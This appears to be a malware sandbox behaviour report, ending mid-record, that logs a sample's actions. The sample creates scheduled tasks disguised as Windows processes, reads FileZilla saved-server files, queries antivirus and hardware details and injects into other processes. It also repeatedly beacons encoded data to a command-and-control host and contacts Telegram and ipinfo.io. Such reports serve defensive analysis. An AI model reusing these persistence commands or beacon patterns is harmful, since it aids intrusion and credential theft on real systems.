 information_class: 8 (SystemProcessorPerformanceInformation)
1 0 0
cmdline "schtasks" /create /tn "lsm" /sc ONLOGON /tr "'C:\Windows\System32\ntkrnlpa\lsm.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\Sandbox\test22\DefaultBox\SearchFilterHost.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\taskhost.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\System32\modemui\wininit.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\ProgramData\Application Data\winlogon.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "pw" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90120000-001A-0412-0000-0000000FF1CE}-C\pw.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\System32\credui\lsass.exe'" /rl HIGHEST /f
file C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
wmi SELECT * FROM AntivirusProduct
wmi SELECT * FROM Win32_DisplayConfiguration
wmi Select * From Win32_ComputerSystem
wmi SELECT * FROM FirewallProduct
wmi SELECT * FROM Win32_BIOS
wmi SELECT * FROM Win32_Processor
wmi SELECT * FROM Win32_BaseBoard
Process injection Process 1812 manipulating memory of non-child process 1224
Process injection Process 1812 manipulating memory of non-child process 1348
Process injection Process 1812 manipulating memory of non-child process 2084
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1224
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000274
3221225496 0

NtAllocateVirtualMemory

 process_identifier: 1348
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000290
3221225496 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000294
3221225496 0
Time & API Arguments Status Return Repeated

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&db8cb8b2da220b8926f1fade5e56f6b5=75bc25ebf5d91a1ca155cc8c30991951&P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru Connection: Keep-Alive
socket: 1188
sent: 596
1 596 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&ea78c0a6210543c33537cc209e0e617c=a7774efef20b27a2439fae72fd64c0a2&3074739814e1bc1bd77f06eb291cb8b2=wY3AzM2ITM5YWNmljN3UDO4YDN5gjYjljMhZTO3M2YmZTOilTY2cjN&P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 660
1 660 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=u4iL5J3b0NWZylGZgcmbp5mbhN2U&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 820
1 820 0

send

 buffer: ™•`fo§ Õœý‰¥cŠo%©k¾±?çid£A±*</=5 À'ÀÀÀ+À#À,À$À À @2j8Bÿapi.telegram.org   
socket: 1292
sent: 158
1 158 0

send

 buffer: ’Ž`fo¨@§1FÊãá„TA³I–AÁ-,DÂ9ߺÔ7*</=5 À'ÀÀÀ+À#À,À$À À @2j8;ÿ ipinfo.io   
socket: 1524
sent: 151
1 151 0

send

 buffer: FBA……:ȒÐÑl»¸¡êìäAÕ4°A¿ptÝîìh_ʉ“Ñy­ø;MyÉo i >º×Aͽ`%jc"ƒ;¸zCd@ Q¾DWîØÆÈ+^$lÖ4Kglµ,XÕBéÓþN‹ßA¼P´³k8è×%úd* £Äe‚U/O‚<'Âê
socket: 1524
sent: 150
1 150 0

send

 buffer: °nþtŒAÁ€ÂþËI!(è‹Þ¨…%:S"ÙaP4Ïí*þ&“ŠJEïáð BÃ)3 ®ýúÓ#TÇúJxCvºbÛ÷,œ7èëm Žåªþ⸎RnÃ؞èÄ ]>”9ùŽ-c1I[GëËll ßt—&ۉ£NLtß[ŠŒç«;r˜ëÚAñÜ7¹¿tzƒ ! Û:7LÖú*îѝ×"³•ªÐ¿èK*ÔÐ>éC¿ðªI`ñ¦tÄea¨a]Ù¼p£)PŒÑW»Ó@iæcϵ;Á­Šq({e´Uc‹-§+slyöŠ¤\ø¤Ó(dÒ`4(˜ï˃
socket: 1524
sent: 261
1 261 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=gLu4ycll2av92Ygcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 818
1 818 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=u4iLzRmcvd3czFGcgcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 820
1 820 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=4iLuMXby9mZgcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 815
1 815 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=4iLuM0Qgcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 811
1 811 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=%00&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=wMlNGZzYGN1MDZ3ADNiNzNyEDMhNjMyIzMhRmZzUTYiZGN2QWM2MDM HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 2024
sent: 795
1 795 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&9129bbb54cb047fc5dc4e0a1fc985fcd=9JSa1RWZyNGXcRjNX90Vzl3Ucx1c39GZul2VcxlODJiOigGdhBlIsISNuQjI6Iibvl2cyVmVrJ3b3VWbhJnRiwiIud3butmbVJiOigGdhBVbhJ3ZlxWZUJCLiIiOiMHcwFUbhVGdTJCLi42dv52auVlI6ICRJJXZzVVbhVGdTJCLi42dv52auVlI6IiclNXVtFWZ0NlIsIib39mbr5WViojIn5WYM1WYlR3UiwiIud3butmbVJiOigGdhBVbhVGdTJCLi4GXyxVKYmL7l6J7g8WakVXQg42bpRXaulmZlREIodWaIhCrB2OtdyOinuuI6Iycl52boB3byNWaNJCLi4GXyxVMZFETQNVSExFXuwFXcxlI6IycuVWZyN2UiwiIiojIz1WYjJWZXJCL5ETM1ojINFkUiwiIw42bpRXYy9Gcy92QgUGbjFmcPJiOiQmch9mYyVGa09WTiwiIB9CXOJiOiwGbhdXZylmRiwiIB9CXOJiOiMXdylmdpRnbBJCLi0iI6ICUJ5UQMJCLigkYtdEIrVGdv5mbpJiOiM1TJJkIsIieIdEM44iMgAEIVB1QgADM0gTL1kGIp0EVoUmcvNEIpIFKsVGdulkI6ISZtFmTVB1QiwiIwSY7Ry460aJ7g0Lltjpnrj7tqDSQHZFIASK7cGZ7iojIl1WYOVFUHJye&90ed6f3bf18be1c56b7fe2a2569f871c=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&395e0ea225aadd6bf0d2c91094e71c53=wMlNGZzYGN1MDZ3ADNiNzNyEDMhNjMyIzMhRmZzUTYiZGN2QWM2MDM HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1476
1 1476 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 2024
sent: 1562
1 1562 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=4iLu0WYlR3Ugcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 815
1 815 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=4iLu0WYydWZsVGVgcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 819
1 819 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=4iLu42bpRXYtJ3bm5WagIXZoR3bgcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 831
1 831 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?P3hJoBufnjPP7=vgExSXzxm&xltmb3RE4R3BzSze2EW=3J1vSy6CAiibQ8WDSHDuSLUqWt&v7yfvayqnt7Tn6ODVsbv16=MuAmfryLZiHKFMCxAcSsTUyax&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0YDN5QzM&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/plain User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1562
1 1562 0

send

